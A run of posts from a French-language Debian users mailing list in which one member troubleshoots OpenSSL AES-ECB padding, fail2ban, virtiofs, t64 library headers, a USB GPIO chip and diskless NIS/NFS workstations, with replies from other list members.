seul bit, suivi de suffisamment de bits zéro pour remplir > le bloc ; si le message se termine sur une limite de bloc, un bloc de > remplissage entier sera ajouté. [...]" Rien à voir, je suis en ECB. Donc chaque bloc est chiffré séparément. Le problème est "pourquoi openssl bourre-t-il un nouveau bloc de 16 octets alors qu'il n'a pas besoin de le faire ?" Le chiffrement est le suivant : 16 octets -> AES256 -> 16 octets (et non 32). JB signature.asc Description: OpenPGP digital signature
Re: [Un peu HS] Utilisation de l'API OpenSSL
didier gaumet a écrit : > préambule lamentable: j'ai lu ta bafouille en diagonale, je n'ai pas le > niveau, j'ai pas envie de creuser, etc... donc ma réponse ne va > peut-être pas être très pertinente, désolé ;-) > > En très gros de la part d'un inculte du sujet, même si la fonction > openssl semble légèrement différente sur cette page, je me demande si le > mécanisme sur lequel tu butes n'est pas le même (du padding qui > nécessite la décomposition en sous-variables dont la dernière doit être > traitée par une fonction de type "final"): > https://stackoverflow.com/questions/71763461/purpose-of-evp-encryptfinal-ex-function-in-openssl > > > j'ai peut-être rien compris, hein, c'est hors de mes maigres compétences > et je n'ai de plus pas envie de vriller les pauvres neurones qui me > restent à chercher à comprendre ;-) Ça tourne effectivement autour de cela. Je connais la différence entre les deux fonctions. Ce qui me dérange, c'est que dans tous les exemples que j'ai pu trouver EVP_CipherFinal_ex() est toujours appelée sur le dernier bloc (pour bourrer les octets manquant pour avoir un multiple de la longueur de bloc). Ce que je ne saisis pas, c'est pour quoi lorsqu'on a déjà un multiple d'une longueur de bloc, la fonction en rajoute un. Et pourquoi elle plante lamentablement en cas de déchiffrement. Je pense (naïvement sans doute) que si aucun test n'est fait dans les exemples sur la longueur des données à chiffrer, cette fonction doit être appelée dans tous les cas. Bien cordialement, JB signature.asc Description: OpenPGP digital signature
[Un peu HS] Utilisation de l'API OpenSSL
Bonjour à tous,
Désolé de venir avec un problème pas tout à fait Debian. J'essaye de
m'inscrire sur les listes de diffusion OpenSSL depuis plusieurs jours
sans aucun retour. Je pense que des lecteurs ont déjà été confrontés au
problème.
J'utilise OpenSSL (3.3.1) pour chiffrer des messages et les déchiffrer.
J'observe un comportement que je ne comprends pas. Je n'utilise qu'un
chiffrement de type AES256-ECB (donc le chiffrement d'un bloc ne dépend
que du bloc en question. Je sais, ce n'est pas bien, mais le
périphérique en face est un microcontrôleur qui cause en 4G et qui
possède très peu de mémoire).
Lorsque mon périphérique parle à mon serveur Debian, mon programme
plante méchamment lors de l'appel à la fonction EVP_CipherFinal_ex().
Que fais-je ?
Je crée un contexte, je l'initialise avec la clef et tout ce qui va
bien puis je chiffre :
if ((contexte = EVP_CIPHER_CTX_new()) == NULL)
{
return(NULL);
}
EVP_CIPHER_CTX_reset(contexte);
longueur_bloc_de_chiffrement =
EVP_CIPHER_block_size(type_chiffrement);
if (EVP_CipherInit_ex(contexte, type_chiffrement, NULL, clef,
vecteur_initialisation, (encodage == d_vrai) ? 1 : 0) != 1)
{
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}
nombre_blocs = longueur_message / longueur_bloc_de_chiffrement;
if ((longueur_message % longueur_bloc_de_chiffrement) != 0)
{
nombre_blocs++;
}
(*longueur_message_chiffre) = nombre_blocs *
longueur_bloc_de_chiffrement;
printf("longueur_message_chiffre = %lld\n", (*longueur_message_chiffre));
// On prévoit une zone de garde pour EVP_CipherFinal_ex() en
// espérant
// qu'il ne faille pas plus qu'une longueur de bloc de chiffrement.
// Méchant hack en raison d'un comportement étrange de
// EVP_CipherFinal_ex().
if ((message_chiffre = malloc(((size_t) ((*longueur_message_chiffre)
+ longueur_bloc_de_chiffrement)) *
sizeof(unsigned char))) == NULL)
{
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}
printf("longueur_message = %d\n", (int) longueur_message);
if (EVP_CipherUpdate(contexte, message_chiffre, &longueur_message_1,
message, (int) longueur_message) != 1)
{
free(message_chiffre);
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}
printf("longueur_message_1 = %d\n", longueur_message_1);
if (EVP_CipherFinal_ex(contexte, message_chiffre +
longueur_message_1,
&longueur_message_2) != 1)
{
free(message_chiffre);
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}
printf("longueur_message_2 = %d\n", longueur_message_2);
(*longueur_message_chiffre) = longueur_message_1 +
longueur_message_2;
// Mise à jour du vecteur d'initialisation
EVP_CIPHER_CTX_get_updated_iv(contexte, vecteur_initialisation,
(size_t) EVP_CIPHER_iv_length(type_chiffrement));
EVP_CIPHER_CTX_free(contexte);
Cette routine est appelée pour chiffrer et pour déchiffrer. Je ne mets
pas tout le code, ça n'a pas beaucoup d'intérêt. Maintenant, mon problème.
Le code AES256 utilise des blocs de 16 octets. Si je chiffre un message
de 15 octets, j'obtiens un message chiffré de 16 octets. Normal.
longueur_message_chiffre = 16
longueur_message = 15
longueur_message_1 = 0
longueur_message_2 = 16
Ainsi, EVP_CipherUpdate() ne fait rien (aucun bloc entier) et le
chiffrement est effectué par EVP_CipherFinal_ex().
Si maintenant je cherche à chiffrer un message de 16 octets, voici ce
qui sort :
longueur_message_chiffre = 16
longueur_message = 16
longueur_message_1 = 16
longueur_message_2 = 16
=> longueur_message_chiffre donne la longueur nécessaire au chiffrement
du message. La longueur effectivement renvoyée est
longueur_message_1+longueur_message_2 soit ici 32 !
Si je comprends bien, EVP_CipherUpdate() chiffre un bloc de 16 octets.
Mais pourquoi EVP_CipherFinal_ex() rajoute-t-il un autre bloc de 16
octets ? J'obtiens un message de 32 octets alors que seuls les 16
premiers sont signifiants.
Dans mon cas, j'obtiens :
"?r\xF1\xF0-\x89\x83]\xD3\xEE\xF0bj\xE2\xB7\x9E\xE34\xF2\xD2f
\xF6w\x02\x14\x0DbS\xD5\x01\x1A"
alors que seul
"?r\xF1\xF0-\x89\x83]\xD3\xEE\xF0bj\xE2\xB7\x9E" contient le message
chiffré (le formalisme est le suivant : les caractères affichables sont
directement affichés, les autres sont \x + octet en hexadécimal).
Le problème est aussi que je suis capable de déchiffrer le message
complet "?r\xF1\xF0-\x89\x83]\xD3\xEE\xF0bj\xE2\xB7\x9E\xE34\xF2\xD2f
\xF6w\x02\x14\x0DbS\xD5\x01\x1A"
en une chaîne de 16 octets (qui est bien le message envoyé). En
revanche, si je tente le déchiffrement des seuls 16 premiers octets,
EVP_CipherFinal_ex() renvoie une erreur.
Je ne comprends pas mon erreur. Quelqu'un a-t-il déjà été confronté à
ce p
Re: Fail2ban testing
Olivier a écrit : > Quelques pistes: > - soit n'arrive pas à accéder à une ressources parce qu'une autre > instance de fail2ban ou d'un service, a déjà l'accès exclusif à cette > ressource > - soit un simple problème de droits d'accès sur cette ressource > (droits sur le fichier, son répertoire, ...) > - soit une règle de fail2ban relative à ZoneMinder, n'est plus utilisable Je vais regarder ça, mais j'ai déjà désactivé à la main toutes les règles sans succès. Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Fail2ban testing
Bonjour à tous, Je viens de mettre un serveur de test à jour et fail2ban râle. Je ne vois pas ce qui ne lui plaît pas d'autant qu'il n'est pas verbeux. Ma configuration fail2ban fonctionne parfaitement avec la version 1.0.2-2. Avec la version poussée dans testing (1.1.0-4), je me prends l'erreur suivante : 2024-06-24 08:20:42,067 fail2ban.transmitter[3910]: ERROR Command ['server-stream', [['set', 'syslogsocket', 'auto'], ['set', 'loglevel', 'INFO'], ['set', 'logtarget', '/var/log/fail2ban.log'], ['set', 'allowipv6', 'true'], ['set', 'dbfile', '/var/lib/fail2ban/fail2ban.sqlite3'], ['set', 'dbmaxmatches', 10], ['set', 'dbpurgeage', '1d'],... ['start', 'recidive'], ['start', 'zoneminder']]] has failed. Received OSError(38, 'Function not implemented') Je suppose qu'il y a quelque chose qui ne lui plaît pas dans ma configuration. J'ai donc essayé de lancer fail2ban en console pour avoir plus d'information (sans aucun succès) puis de désactiver les pans de la configuration les uns après les autres. Même résultat. Comment savoir ce qui ne lui plaît pas et quelle est cette "function non implemented" ? Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: virt-manager (qemu/kvm) et virtiofs
didier gaumet a écrit :
> Le 12/06/2024 à 10:31, BERTRAND Joël a écrit :
>> Bonjour à tous,
>>
>> Je dois faire quelques tests avec une imprimante 3D et un logiciel ne
>> fonctionnant que sous Windows. J'ai donc installé W10 dans une machine
>> virtuelle (virtmanager). Le réseau fonctionne bien. J'aimerais
>> maintenant pouvoir partager un disque réseau avec virtiofs (virtio-9P ne
>> semble pas fonctionner).
>>
>> Je me prends l'erreur suivante :
>>
>> Erreur lors du démarrage du domaine: internal error: process exited
>> while connecting to monitor: 2024-06-12T08:29:18.308752Z
>> qemu-system-x86_64: -chardev
>> socket,id=chr-vu-fs0,path=/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock:
>>
>> Failed to connect to
>> '/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock':
>> Connection refused
>>
>> Très bien. Sauf que /usr/lib/qemu/virtiofsd est bien présent (avec un
>> lien sur /usr/libexec/virtiofsd). Je ne peux pas lancer le daemon à la
>> main, le répertoire de la socket changeant à chaque fois.
>>
>> Dans le fichier XML de définition des disques, j'ai bien la chose
>> suivante :
>>
>>
>>
>>
>>
>>
>> > function="0x0"/>
>>
>>
>> Ma question est donc simple (et je viens de googliser durant
>> plusieurs
>> heures sans trouver de solution) : comment faire démarrer virtiofsd lors
>> du démarrage de la machine virtuelle ?
>>
>> Merci de vos lumières,
>>
>> JB
>>
>
> Bonjour,
>
> il y a un mode opératoire ici:
> https://github.com/virtio-win/kvm-guest-drivers-windows/wiki/Virtiofs:-Shared-file-system
>
>
> si je comprends correctement (c'est pas sûr):
> - il te manque peut-être les éléments WinFSP et VirtioWin dans l'invité
> Windows?
Non, mais de toute façon, c'est hors de propos puisque la machine
virtuelle refuse de démarrer.
> - tu ne sembles pas avoir instancié le périphérique ("instantiate the
> character device" dans la doc ci-dessus)?
L’instanciation est faite (sauf que la VM cherche à se connecter à une
socket créée par virtiofsd qui n'est jamais créée parce que virtiofsd
n'est jamais lancé...).
Bien cordialement,
JB
signature.asc
Description: OpenPGP digital signature
virt-manager (qemu/kvm) et virtiofs
Bonjour à tous, Je dois faire quelques tests avec une imprimante 3D et un logiciel ne fonctionnant que sous Windows. J'ai donc installé W10 dans une machine virtuelle (virtmanager). Le réseau fonctionne bien. J'aimerais maintenant pouvoir partager un disque réseau avec virtiofs (virtio-9P ne semble pas fonctionner). Je me prends l'erreur suivante : Erreur lors du démarrage du domaine: internal error: process exited while connecting to monitor: 2024-06-12T08:29:18.308752Z qemu-system-x86_64: -chardev socket,id=chr-vu-fs0,path=/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock: Failed to connect to '/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock': Connection refused Très bien. Sauf que /usr/lib/qemu/virtiofsd est bien présent (avec un lien sur /usr/libexec/virtiofsd). Je ne peux pas lancer le daemon à la main, le répertoire de la socket changeant à chaque fois. Dans le fichier XML de définition des disques, j'ai bien la chose suivante : Ma question est donc simple (et je viens de googliser durant plusieurs heures sans trouver de solution) : comment faire démarrer virtiofsd lors du démarrage de la machine virtuelle ? Merci de vos lumières, JB signature.asc Description: OpenPGP digital signature
Re: libwxgtk3.2-1t64 et fichiers d'en-têtes
didier gaumet a écrit : > Le 06/05/2024 à 09:42, BERTRAND Joël a écrit : > [...] >> Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier >> d'en-têtes >> semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour >> remettre libwxgtk3.2. > [...] > > d'après https://packages.debian.org/sid/libwxgtk3.2-dev > En Sid le paquet libwxgtk3.2-dev dépend du paquet libwxgtk3.2-1t64 > > sous réserves: > > donc ça semblerait dire que bien que le nom du paquet -dev ne comporte > pas le suffixe t64 il prend bien en compte la transition t64. > Donc peut-être que tu n'as pas fait un apt update préalable ou que sur > le serveur sur lequel ça a atterri à ce moment-là, le paquet -dev en > question n'avait pas encore été modifié et qu'une fois ce serveur à jour > tout rentrera dans l'ordre? (à condition que tu sois uniquement en pur > Debian Sid et qu'un autre dépôt ne foute pas la grouille dans les > dépendances) Effectivement, ça passe maintenant avec unstable. Ce n'était pas le cas ce matin... Ça m'arrange, il fallait que je recompile KiCAD. Merci, JB signature.asc Description: OpenPGP digital signature
Re: libwxgtk3.2-1t64 et fichiers d'en-têtes
Basile Starynkevitch a écrit : > > On 5/6/24 09:42, BERTRAND Joël wrote: >> Bonjour à tous, >> >> Il vient d'y avoir une salve de bibliothèques avec une extension t64 >> (pour time_t en 64 bits contre 32). Très bien, mais quelqu'un saurait-il >> où trouver les fichiers d'en-tête correspondant ? >> >> Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier >> d'en-têtes >> semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour >> remettre libwxgtk3.2. >> >> Je ne trouve rien dans les rapports de bogues. >> >> Faut-il recompiler la bibliothèque à partir du paquet source ? En >> espérant que ce paquet contienne ce qu'il faut pour créer le -dev. >> >> Bien cordialement, > > > Il est possible (c'est l'habitude dans le monde GNU) qui vous faut juste > compiler avec les mêmes fichiers d'entête, mais des drapeaux de > preprocessing différents. Oui, ça, je sais. Mais pour compiler, encore faudrait-il avoir les fichiers d'en-têtes ;-) La question était "où donc sont ces fichus fichiers d'en-têtes". JB signature.asc Description: OpenPGP digital signature
libwxgtk3.2-1t64 et fichiers d'en-têtes
Bonjour à tous, Il vient d'y avoir une salve de bibliothèques avec une extension t64 (pour time_t en 64 bits contre 32). Très bien, mais quelqu'un saurait-il où trouver les fichiers d'en-tête correspondant ? Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier d'en-têtes semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour remettre libwxgtk3.2. Je ne trouve rien dans les rapports de bogues. Faut-il recompiler la bibliothèque à partir du paquet source ? En espérant que ce paquet contienne ce qu'il faut pour créer le -dev. Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: Re : Re: Linux mobilise désormais 15 % de parts sur les desktops en Inde, une performance qui contraste avec les 4 % à l'échelle globale
Gabriel Moreau a écrit : > Vrai pour Apple dont le noyau Darwin est un dérivé des BSD. Non, le noyau est un micronoyau avec des serveurs de type Unix par dessus (du code pompé à Free et NetBSD). C'est le pire truc qui puisse exister. > Faux pour > Windows qui n'a rien d'UNIX. Windows NT a été écrit par des anciens de > Digital et dérive complètement de la philosophie de VMS. D'ailleurs, > VMS++ == WNT ! Mouais. Si Dave Cutler qui a participé à la genèse de VMS a émargé chez Microsoft par la suite (1988). Il est arrivé après qu'IBM a viré les ingénieurs de Microsoft d'OS/2. Mais ce n'est pas lui qui a pondu les concepts de NT qui ont été développés initialement par Microsoft /et/ IBM. NT n'a pas été écrit par des anciens de Digital. Il suffit d'ailleurs de regarde le code de VMS et celui de NT (ou le Gray Wall et la doc Microsoft) pour se convaincre que les deux systèmes ne sont vraiment pas sortis des mêmes cerveaux. JB signature.asc Description: OpenPGP digital signature
Re: [semi-HS] Conseil sur l'exploitation d'un serveur DNS
François TOURDE a écrit : > Le 19846ième jour après Epoch, > Olivier écrivait: > >> Bonjour, >> >> J'envisage de mettre en place un serveur DNS dont le rôle serait de >> résoudre des requêtes sur un de mes domaines. > > Il y a des chances que ton registrar te propose son propre DNS. Pourquoi > ne pas l'utiliser ? Parce que pour certaines configurations spéciales, ça ne le fait pas ou alors très difficilement. Typiquement pour un certificat * chez Lestencrypt, il vaut mieux avoir son propre DNS. signature.asc Description: OpenPGP digital signature
Re: GPIO (CY7C65211)
didier gaumet a écrit : > > Bonjour, Bonsoir, > avertissement: je n'y connais absolument rien et je réponds peut-être au > moins en partie à côté de la question que tu poses L'essentiel est de participer ;-) Plus sérieusement, merci d'apporter un nouvel éclairage sur le sujet. > de ce que je comprends: > - la gestion GPIO du noyau linux a changé (/sys/class/gpio* -> Je n'ai rien dans /dev/gpio ou /sys/class/gpio* qui vienne lorsque je branche la carte en question. > /dev/gpio*) et mieux vaut utiliser le nouveau système que l'ancien > - le paquet Debian gpiod propose des utilitaires de détection, prise > d'information et interaction GPIO accessibles par un shell Linux. La > bibliothèque libgpiod semble utile pour l'accès par programme. Je ne connaissais pas, je vais creuser de ce côté. > - je crois que le paquet usb-modeswitch permet de faire ce que tu fais > avec une règle USB En revanche, le ttyACM0 monte automatiquement. Je vois bien le périphérique dans lsusb mais je n'arrive même pas à l'ouvrir avec le sdk de Cypress (et ce n'est pas une question de droit, j'ai aussi essayé en root). J'ai écrit un bout de C qui scanne les bus USB. Il détecte bien le 04B4:0002 (et ce n'est pas du bruit de télétransmission, le résultat est toujours le même, je n'ai pas de problème sur la liaison physique). ... Indice : 023, id : 6015:0403 inaccessible Indice : 024, id : 082D:046D inaccessible Indice : 025, id : 2812:2109 inaccessible Indice : 026, id : 0002:04B4 0=>0/02 1=>0/0A 2=>5/FF Cypress CY7C65211 détecté Indice : 027, id : 6001:0403 inaccessible Indice : 028, id : 0002:1D6B inaccessible ... et juste plus loin, le CyOpen() me renvoie un coup de pied aux fesses... :-( Chose surprenante, la classe (à droite des '=>') ne peut être d'après la doc que 00, 02, 0F, FF. Je ne vois pas ce que vient faire là-dedans un 0A... JB signature.asc Description: OpenPGP digital signature
GPIO (CY7C65211)
Bonjour à tous,
Je viens de câbler une interface USB vers RS232 + GPIO qui fonctionne
avec un composant CY7C65211.
Celui-ci est reconnu comme un thermomètre par le noyau Linux. J'ai donc
rajouté une règle udev pour corriger cela :
KERNEL=="*", SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device",
ACTION=="add", ATTR{idVendor}=="04b4", MODE="666"
KERNEL=="*", SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device",
ACTION=="remove", TAG=="cyusb_dev"
La carte est maintenant vue comme un port série sur ttyACM?. Très bien.
Mais comment accéder aux différents GPIO ? J'aimerais éviter d'utiliser
le SDK du fondeur pour faire des choses aussi simples...
Bien cordialement,
JB
signature.asc
Description: OpenPGP digital signature
Re: Reverse ftp proxy
NoSpam a écrit : > Bonsoir > > Le 26/03/2024 à 18:13, BERTRAND Joël a écrit : >> [...] >> >> Deuxième question : le serveur FTP est un OS un peu spécial qui ne >> comprend pas IPv6. Est-il possible de rediriger IPv6 sur du V4 de >> manière transparente ? > > Oui avec socat > > # socat > # > iface ens1 inet static > address 172.16.30.4/32 > > nohup socat UDP-LISTEN:53,bind=172.16.30.4,reuseaddr,fork,su=nobody > UDP6:[fd77:1234:5678:90ab::4]:53 Je note merci. JB signature.asc Description: OpenPGP digital signature
Reverse ftp proxy
Bonjour à tous, J'essaie d'installer sans succès un reverse ftp proxy et je me demande si ce que je cherche à faire est possible. Configuration : IP publique --- serveur frontal Linux --- LAN --- serveur FTP anonyme L'IP publique est propre au serveur FTP que je ne veux pas mettre en frontal sur internet (je suis contraint d'y laisser un telnet ouvert). Je peux donc configurer une IP virtuelle sur le port WAN du serveur Linux et tout balancer avec du NAT vers le serveur FTP. Mais, à ce moment, dans les logs du serveur FTP, je ne vois que l'adresse IP du serveur Linux. Or j'aurais besoin de logguer les vraies IP pour les transactions. Comment faire ? Si toutefois il est possible de faire... Au pire, des logs côté serveur Linux pourraient m'aller, mais si ce serait compliqué à gérer. Deuxième question : le serveur FTP est un OS un peu spécial qui ne comprend pas IPv6. Est-il possible de rediriger IPv6 sur du V4 de manière transparente ? Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: apt pas content
Bonjour, Il y a un gros problème avec gnutls mais je pensais que ça se limitais à testing. J'ai réussi à m'en sortir hier en forçant l'installation de la mise à jour de gnutls et de ses dépendances et en _réinstallant_ le reste qui a été viré par un dist-upgrade. Seul cups est toujours cassé. JB signature.asc Description: OpenPGP digital signature
Disparition de sensord
Bonsoir à tous, je viens de m'apercevoir que sensord n'est plus disponible dans les dépôts. C'était une chose très pratique qui balançait dans syslog les sorties de sensors lorsqu'il y avait une alarme de température. Par quoi est-ce que cela a été remplacé, je ne trouve rien... Bien cordialement, JKB signature.asc Description: OpenPGP digital signature
Re: utilisation de nis et nfs pour un réseau de 32 postes
Je ne sais pas pourquoi je ne peux pas avoir la copie du mail dans la réponse. On va donc copier à la main. >Pour l’architecture globale, si je comprends bien c’est : Un serveur de fichiers sous un *nix contenant à la fois les boot des PC et leurs données Des postes sans disque (pourquoi ?) un réseau ;-) Oui. Ça permet d'avoir une solution centralisée de sauvegarde et d'archivage. Ça permet aussi de considérer le poste de travail comme jetable, sans aucune donnée des utilisateurs. Changer un poste de travail qui a claqué, c'est une histoire de deux fichiers à éditer côté serveur pour le boot réseau. >Je ne comprends pas bien la notion de PC sans disques, depuis les tests Sun de stations sans disques écroulant tout réseau je n’en vois pas l'intérêt Le réseau n'est jamais écroulé. Au cul du serveur principal, il y a un switch Cisco, chaque machine étant sur un port particulier. Le goulot d'étranglement n'est pas là. >J’aurais tendance à proposer ce qui est largement utilisé dans les clusters de calculs et les déploiements via réseau c’est à dire : Un boot PXE pour charger l’initramfs la diffusion de l’arborescence système via un Netboot L’OS tourne en RAM avec un disque RAM Aucun intérêt. Il y a des cibles qui sont des machines pour des clients avec de l'électronique embarquée et qui arrivent péniblement à 512 Mo de mémoire. On ne va pas y mettre un OS en RAM. > Pour ce qui est de l’architecture de l’OS sur le PC j’utiliserais un disque local et installerai toutes les données système dessus. Encore une fois, c’est bien plus sur et efficace (voir latence réseau). Du coup, la home dir de l’utilisateur doit rester locale avec un montage NFS de ses données réseau dans un sous répertoire. Comme ça les usages de l’OS dans le répertoire utilisateur ne sont pas ralentis par le montage NFS et les données restent accessibles. JE NE VEUX PAS DE DISQUES LOCAUX POUR TOUT UN TAS DE RAISON. Là, j'ai un seul endroit à surveiller avec les sauvegardes et archivages. Et ça évite les chouineries du type mon disque a planté et je n'ai pas de sauvegarde ou j'ai eu des alertes smartd mais j'ai oublié de te le dire. Ça évite aussi le "j'ai pas de sauvegarde parce qu'elle passe à 23h05 et que mon poste était coupé". > Si je comprends bien tu mélange sur un même réseau la 2 technologies iSCSI qui utilise le mode « block » et Ethernet qui utilise le réseau en mode caractères. Ce n’est pa très bon. L’un, iSCSI, serait plus opérationnel avec des trames « Jumbo » (9000 Oc) pour minimiser le découpage des blocks. L’autre, Ethernet, fonctionne mieux avec des trames de 1500 Oc. Et il n’est pas raisonnable de mixer les 2 sur un même commutateur. L’un, iSCSI, travaille en SAN c’est à dire directement sur un système de fichiers via réseau. L’autre, NFS, réclame un service de niveau haut fourni par un serveur (NAS). Les deux fonctionnent avec des blocs de 1500 octets. Il y a des trames de 9000 octets sur un autre sous réseau accédant aux NAS. Et ces 1500 octets permettent de swapper à la vitesse maximale. En d'autres termes, ce n'est pas le facteur limitant et il y a même beaucoup de marge. Le facteur limitant est le serveur (pour swapper à 1 Gbps, l'occupation CPU de istgt monte à 40% d'un coeur en état D). > L’explication est juste au dessus. Ben non. > Vrai, il n’était pas vraiment nécessaire de passer à un switch Cisco (cher) mais c’est vrai. Un discriminant est de choisir un commutateur managable. Non plus. Le TPlink était parfaitement manageable. > On en revient au montage par block d’un système de fichiers via un SAN. Rien à voir. Je ne peux pas me permettre de créer et retirer à la volée des volumes racine pour les différents clients. D'autant que certains OS utilisés ne peuvent utiliser une racine en iSCSI. JB signature.asc Description: OpenPGP digital signature
Re: utilisation de nis et nfs pour un réseau de 32 postes
zithro a écrit : > On 24 Feb 2024 23:23, BERTRAND Joël wrote: >> Un gros serveur sous NetBSD et toutes les stations sont diskless et >> bootent sur le réseau. Les disques sont en NFS et les swaps en iSCSI. > > Peux-tu expliquer ce choix (NFS vs iSCSI) stp ? Oui, je peux ;-) > Si je dis pas de conneries, tu pourrais boot root (/) en iSCSI. Je pourrais. Mais j'ai un gros volume qui contient les racines de toutes les machines. Si je voulais traiter en iSCSI, il me faudrait un système de fichiers distribué et supporté par tous les clients. Il me faudrait aussi des OS capables de démarrer sur un volume iSCSI. Pour utiliser iSCSI sereinement, il me faudrait aussi un volume par client, exporté en tant que tel. Les /home sont sur un autre volume. En revanche, les points de montage des racines (/srv/machine) ne sont exportables que sur la bonne machine (verrouillé dans /etc/exports, les IP étant fournies par DHCP en fonction de l'adresse MAC du client). > Note que je suis autant interessé par ton raisonnement (ton choix > pratique) que par le débat NFS vs iSCSI (la théorie) ! > (Y'a pas de solutions toutes faites, le forum de FreeNAS est un bon > exemple). > >> La qualité du >> switch est primordiale. Passer d'un TPLink à un Cisco m'a changé la vie. > > Entièrement d'accord avec toi. > J'en profite pour un coup de gueule, c'est le problème avec le matos > "grand public". > Un switch 1Gb/s "grand public" veut dire que tu auras ce débit entre > DEUX stations ! (Comprendre entre 2 ports physiques). > Un "vrai" switch 1Gb/s 10 ports devrait tenir au moins 5Gb/s (sans > uplink) : deux stations à 1Gpbs, fois 5. > J'ai découvert ce problème par la pratique, chercher "switch backplane" > sur le net. Même certains switch soit-disant d'entreprise (SOHO) sont > incapables de tels débits. > (Mais YMMV comme disent les ricains). J'ai toutefois été surpris de constater qu'un vieux switch 3Com à 24 ports mettait la pâtée à un TPlink pourtant relativement cher. Comme j'ai été surpris de constater qu'il était assez intelligent alors qu'il n'est pas officiellement manageable pour gérer une agrégation de lien de niveau 2. >> Le goulot d'étranglement n'est pas le réseau, mais le système de >> fichier sur les disques exportés. J'ai fait la bêtise d'utiliser FFSv2 >> sur lequel il n'est pas possible de mettre un cache. Lorsque j'aurai le >> temps, je remplacerai cela par un ZFS+cache. > > AFAIK, le problème de tous réseaux c'est la latence, pas le débit. > (Toutes proportions gardées). > Donc améliorer les accès disque(s) n'améliorent pas forcément la > "réactivité". > Peux-tu éclairer ma lanterne stp ? Le NFSv3 n'a pas de cache et travaille en TCP (j'ai essayé UDP, ce n'est pas franchement mieux). Il est possible de monter les disques en async, mais je déconseille (côté NetBSD, il vaut mieux ne pas utiliser async et la journalisation en même temps). Avec l'option async, ça va nettement plus vite, mais on risque des surprises en cas de coupure de courant. Quand il y a des tas de petites écritures, le goulot d'étranglement est l'accès disque surtout en écriture (là, il vaut mieux des disques CMR que SMR) parce que le système ne peut pas cacher efficacement ces petits accès. On s'aperçoit que le paquet ACK met un peu plus de temps à revenir au client. Ça suffit pour faire tomber les performances. Sur des lectures, j'atteins sans peine 800 à 900 Mbps. Sur des écriture de quelques gros fichiers, ça monte à 500 Mbps. Si ce sont des petits fichiers en écriture, les performances sont ridicules. Un apt install texlive-full prend des plombes. Attention, je n'attends ces débits qu'avec des cartes réseau Intel. Les Realtek sont largement moins bonnes (bon, ça reste utilisable tout de même). À côté, iSCSI permet d'atteindre 1 Gbps sur le swap. > PS: j'ai travaillé dans la VoIP, où j'ai -finalement- compris que > latence et débit n'ont rien à voir. Sans même parler de jitter (la > variation de latence en bon céfran). Ben oui, ça n'a rien à voir. Mais le gros problème est d'avoir le paquet ACK du TCP le plus vite possible. Et ça, ça passe par un cache côté serveur capable d'accepter les transactions le plus rapidement possible en résistant aux coupures de courant. C'est pour cela qu'il faudrait que je teste un ZFS avec un cache sur un SSD sacrificiel. Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: utilisation de nis et nfs pour un réseau de 32 postes
Basile Starynkevitch a écrit : > > On 2/23/24 12:02, Erwann Le Bras wrote: >> >> Bonjour >> >> Peut-être faire des essais avec SSHFS? le $HOME des utilisateurs >> serait monté sur chaque client au boot. >> >> Mais je ne sais pas si c'est plus efficace que NFS. >> > > J'aurais tendance à imaginer que c'est moins efficace que NFS, qui est > de toute façon lent (car Ethernet est beaucoup plus lent que par exemple > une liaison SATA à un disque local, même rotatif). > > NFS (à l'époque lointaine où je l'avais utilisé) ne crypte pas les > données. SSHFS semble les crypter. > > Autrefois (avant 2000) j'avais même utilisé des Sun4/110 dont le swap > était une partition NFS distante. > > Librement > Bonsoir, J'ai un réseau complet et hétérogène avec NIS+NFS. Un gros serveur sous NetBSD et toutes les stations sont diskless et bootent sur le réseau. Les disques sont en NFS et les swaps en iSCSI. Ça fonctionne parfaitement bien (ça rame lorsqu'il y a de toutes petites écritures en rafale en raison du protocole réseau TCP, mais l'immense majorité du temps, ça fonctionne bien). Le serveur est relié à un switch Cisco au travers de deux liens ethernet aggrégés, le reste est en 1 Gbps classique. La qualité du switch est primordiale. Passer d'un TPLink à un Cisco m'a changé la vie. Le goulot d'étranglement n'est pas le réseau, mais le système de fichier sur les disques exportés. J'ai fait la bêtise d'utiliser FFSv2 sur lequel il n'est pas possible de mettre un cache. Lorsque j'aurai le temps, je remplacerai cela par un ZFS+cache. NFS à partir de la version 4 chiffre les données (mais n'est pas interopérable pour l'instant avec NetBSD, donc je n'ai pas testé). Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: Plus de framebuffer/X
C'est bien le fait de ne pas avoir usrmerge qui est le fautif parce que les scripts d'installation ne contiennent plus le PATH canonique ! Je ne dirais pas ce que je pense. signature.asc Description: OpenPGP digital signature
Re: Plus de framebuffer/X
